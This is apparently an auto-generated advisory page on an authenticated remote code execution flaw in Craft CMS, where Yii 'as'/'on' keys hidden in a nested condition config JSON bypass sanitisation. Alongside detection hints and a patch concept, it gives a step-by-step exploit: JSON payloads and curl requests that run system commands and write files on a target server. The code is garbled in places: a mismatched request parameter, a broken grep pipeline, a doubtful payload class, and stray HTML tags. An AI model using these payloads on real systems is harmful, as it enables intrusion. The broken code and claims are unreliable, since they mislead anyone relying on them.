Craft CMS, Authenticated Remote Code Execution, GHSA-265m-7826-wjqm (High) -DC-Aug2026-1471

Listen to this Post

How the CVE Works

Craft CMS contains an authenticated remote code execution vulnerability in the control panel’s element-search condition handling. The root cause lies in a discrepancy between two sequential processing steps of user-supplied configuration data.
When a request containing a `condition` array is received, Craft first passes this array through Component::cleanseConfig(). This method is designed to strip out dangerous Yii-specific configuration keys—such as `as` (behaviors) and `on` (events)—that could lead to arbitrary object manipulation if passed directly to Yii’s component creation routines.
However, the `condition` array contains a nested `config` field which is stored as a JSON string. During the initial `cleanseConfig()` pass, this JSON string is treated as an inert string value. The dangerous Yii keys hidden inside the JSON are not inspected or stripped because `cleanseConfig()` operates on the array structure, not on the contents of string values.
Later, the application calls Conditions::createCondition(), which decodes this JSON string and merges the resulting object into the condition configuration. Critically, this decoded/merged configuration is never passed through `cleanseConfig()` again. The hidden Yii keys—as and on—are now exposed as first-class array keys within the configuration.
This decoded configuration eventually reaches the creation of a `FieldLayout` object. Yii’s component factory interprets `as` and `on` keys as instructions to attach behaviors and event handlers. By injecting a malicious `as` behavior that points to a PHP class capable of executing system commands, an attacker can achieve remote code execution.
The exploitation is semi-blind: the endpoint that triggers the vulnerability returns a normal JSON response (no direct command output). The attacker verifies successful execution via a server-side side effect—for example, writing a file to the filesystem and then retrieving it in a subsequent request.

Preconditions:

  • The attacker must have an authenticated Craft control panel session.
  • A valid CSRF token is required.

DailyCVE Form:

Platform: Craft CMS
Version: 4.0.0-RC1 to <4.18.2, 5.0.0-RC1 to <5.10.6
Vulnerability: Authenticated RCE via condition.config JSON cleanse bypass
Severity: High (CVSS 8.6)
Date: 2026-08-06

Prediction: Patch expected 2026-08-07

What Undercode Say: Analytics

Attack Surface: The vulnerability exists in the `element-search` condition handling. The following endpoints are implicated:
– `/admin/actions/element-search/search`
– Any control panel endpoint that processes `condition` arrays with nested `config` JSON.

Key Code Path:

// Craft cleans the outer array
$condition = Component::cleanseConfig($request->getBodyParam('condition'));
// Later, in Conditions::createCondition():
$config = json_decode($condition['config'], true);
// $config is merged WITHOUT re-running cleanseConfig()
$conditionObj = Yii::createObject($config);

Detection Analytics:

  • Monitor POST requests to element-search endpoints containing `condition
    ` with JSON payloads that include `as` or `on` keys.</li>
    <li>Look for JSON strings with base64-encoded PHP code or system command strings.</li>
    <li>Check for unusual file writes in Craft's `storage/` directory following element-search requests.</li>
    </ul>
    
    <h2 style="color: blue;">Bash Command to Detect Potential Exploitation:</h2>
    
    [bash]
    Search web server logs for element-search requests with suspicious JSON
    grep -E "element-search/search.condition" /var/log/nginx/access.log | \
    grep -E '"as":|"on":' | \
    jq -r '.request_body' 2>/dev/null || \
    awk '{print $0}' | grep -o 'condition[config]=[^&]'
    

    PHP Code Snippet (Vulnerable Path):

    // Simplified representation of the vulnerability
    public function actionSearch()
    {
    $request = Craft::$app->getRequest();
    $conditionData = $request->getBodyParam('condition');
    // First cleanse - safe, but condition.config is a string
    $cleansed = Component::cleanseConfig($conditionData);
    // Later: JSON decode bypasses the cleanse
    $config = json_decode($cleansed['config'], true);
    // Yii interprets 'as' and 'on' keys - RCE!
    $fieldLayout = new FieldLayout($config);
    }
    

    How Exploit:

    Exploit Prerequisites:

    • Authenticated Craft CMS session with valid cookies.
    • CSRF token extracted from the control panel.

    Step 1: Craft the Malicious `condition.config` JSON

    The JSON must contain Yii behavior/event configuration keys. A typical payload injects a behavior that executes system commands:

    {
    "as malicious": {
    "class": "yii\behaviors\AttributeBehavior",
    "attributes": {
    "someAttribute": {
    "class": "yii\db\Expression",
    "expression": "system('id > /tmp/craft_rce.txt')"
    }
    }
    }
    }
    

    Step 2: Encode and Send the Request

    Replace COOKIE and CSRF_TOKEN with valid values
    curl -X POST 'https://target.craft/admin/actions/element-search/search' \
    -H 'Cookie: craft_session=...; XSRF-TOKEN=...' \
    -H 'Content-Type: application/x-www-form-urlencoded' \
    -H 'X-CSRF-Token: TOKEN_VALUE' \
    -d 'condition[bash]={"as malicious":{"class":"yii\behaviors\AttributeBehavior","attributes":{"foo":{"class":"yii\db\Expression","expression":"system(\"id > /tmp/craft_rce.txt\")"}}}}'
    

    Step 3: Verify Command Execution

    Check for the side-effect file
    curl -X GET 'https://target.craft/admin/utilities/logs' \
    -H 'Cookie: craft_session=...' \
    | grep -q "craft_rce.txt" && echo "RCE confirmed!"
    

    Alternative Payload (File Write):

    {
    "as write": {
    "class": "yii\behaviors\AttributeBehavior",
    "attributes": {
    "foo": {
    "class": "yii\db\Expression",
    "expression": "file_put_contents('/tmp/pwned', 'executed')"
    }
    }
    }
    }
    

    Protection from this CVE

    Immediate Actions:

    1. Upgrade Craft CMS to the patched versions:

    • 4.18.2 or later
    • 5.10.6 or later
    1. If immediate upgrade is not possible, apply the following workaround:

    – Override `Conditions::createCondition()` to re-run `Component::cleanseConfig()` on the decoded/merged configuration before object creation.

    Code Fix (Patch Concept):

    // In Conditions::createCondition(), after JSON decode:
    $decodedConfig = json_decode($condition['config'], true);
    // Re-apply cleanseConfig() to strip Yii special keys
    $sanitizedConfig = Component::cleanseConfig($decodedConfig);
    // Use $sanitizedConfig instead of $decodedConfig
    $conditionObj = Yii::createObject($sanitizedConfig);
    

    Additional Hardening:

Scroll to Top